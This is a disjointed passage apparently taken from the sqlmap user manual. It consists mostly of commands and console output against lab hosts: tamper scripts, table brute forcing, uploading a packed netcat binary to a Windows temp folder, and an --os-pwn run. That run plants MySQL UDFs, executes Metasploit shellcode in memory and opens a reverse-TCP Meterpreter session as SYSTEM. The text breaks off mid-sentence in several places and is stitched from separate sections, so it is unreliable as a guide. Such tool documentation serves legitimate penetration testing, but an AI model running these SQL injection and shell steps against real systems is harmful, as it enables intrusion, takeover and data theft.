tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]

[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'

<P>Example against a MySQL 4.1 target:</P>

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \

--common-tables -D testdb --banner

[...]

[hh:mm:39] [INFO] testing MySQL

[hh:mm:39] [INFO] confirming MySQL

[hh:mm:40] [INFO] the back-end DBMS is MySQL

[hh:mm:40] [INFO] fetching banner

web server operating system: Windows

web application technology: PHP 5.3.1, Apache 2.2.14

back-end DBMS operating system: Windows

back-end DBMS: MySQL &lt; 5.0.0

banner: '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'

[hh:mm:40] [INFO] adding words used on web page to the check list

please enter number of threads? [Enter for 1 (current)] 8

[hh:mm:43] [INFO] retrieved: users

[hh:mm:56] [INFO] retrieved: Users

Database: testdb

[1 table]

+-------+

| users |

+-------+

C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'

$ file /software/nc.exe.packed

/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed

-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

same size as the local file '/software/nc.exe.packed'

arbitrary commands as you wish. The option is <CODE>-</CODE><CODE>-os-shell</CODE>

and has the same TAB completion and history functionalities that

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \

--msf-path /software/metasploit

[hh:mm:31] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003

web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0

back-end DBMS: MySQL 5.0

[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system

[hh:mm:31] [INFO] the back-end DBMS operating system is Windows

how do you want to establish the tunnel?

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

>

[hh:mm:32] [INFO] testing if current user is DBA

[hh:mm:32] [INFO] fetching current user

what is the back-end database management system architecture?

[1] 32-bit (default)

[2] 64-bit

>

[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist

[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist

[hh:mm:33] [INFO] detecting back-end DBMS version from its banner

[hh:mm:33] [INFO] retrieving MySQL base directory absolute path

[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file

[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file

how do you want to execute the Metasploit shellcode on the back-end database underlying

operating system?

[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)

[2] Stand-alone payload stager (file system way)

>

[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports

between the specified and 65535

[3] Bind TCP: Listen on the database host for a connection

>

which is the local address? [192.168.136.1]

which local port number do you want to use? [60641]

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

>

[hh:mm:40] [INFO] creation in progress ... done

[hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait..

_

| | o

_ _ _ _ _|_ __, , _ | | __ _|_

/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |

| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/

/|

\|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]

+ -- --=[ 674 exploits - 351 auxiliary

+ -- --=[ 217 payloads - 27 encoders - 8 nops

=[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => thread

LPORT => 60641

LHOST => 192.168.136.1

[*] Started reverse handler on 192.168.136.1:60641

[*] Starting the payload handler...

[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',

please wait..

[*] Sending stage (749056 bytes) to 192.168.136.129

[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11

hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.

meterpreter > Loading extension incognito...success.

meterpreter > [-] The 'priv' extension has already been loaded.

meterpreter > Loading extension sniffer...success.

meterpreter > System Language : en_US

OS : Windows .NET Server (Build 3790, Service Pack 2).

Computer : W2K3R2

Architecture : x86

Meterpreter : x86/win32

meterpreter > Server username: NT AUTHORITY\SYSTEM

meterpreter > ipconfig

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection

Hardware MAC: 00:0c:29:fc:79:39

IP Address : 192.168.136.129

Netmask : 255.255.255.0

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table</CODE>.</P>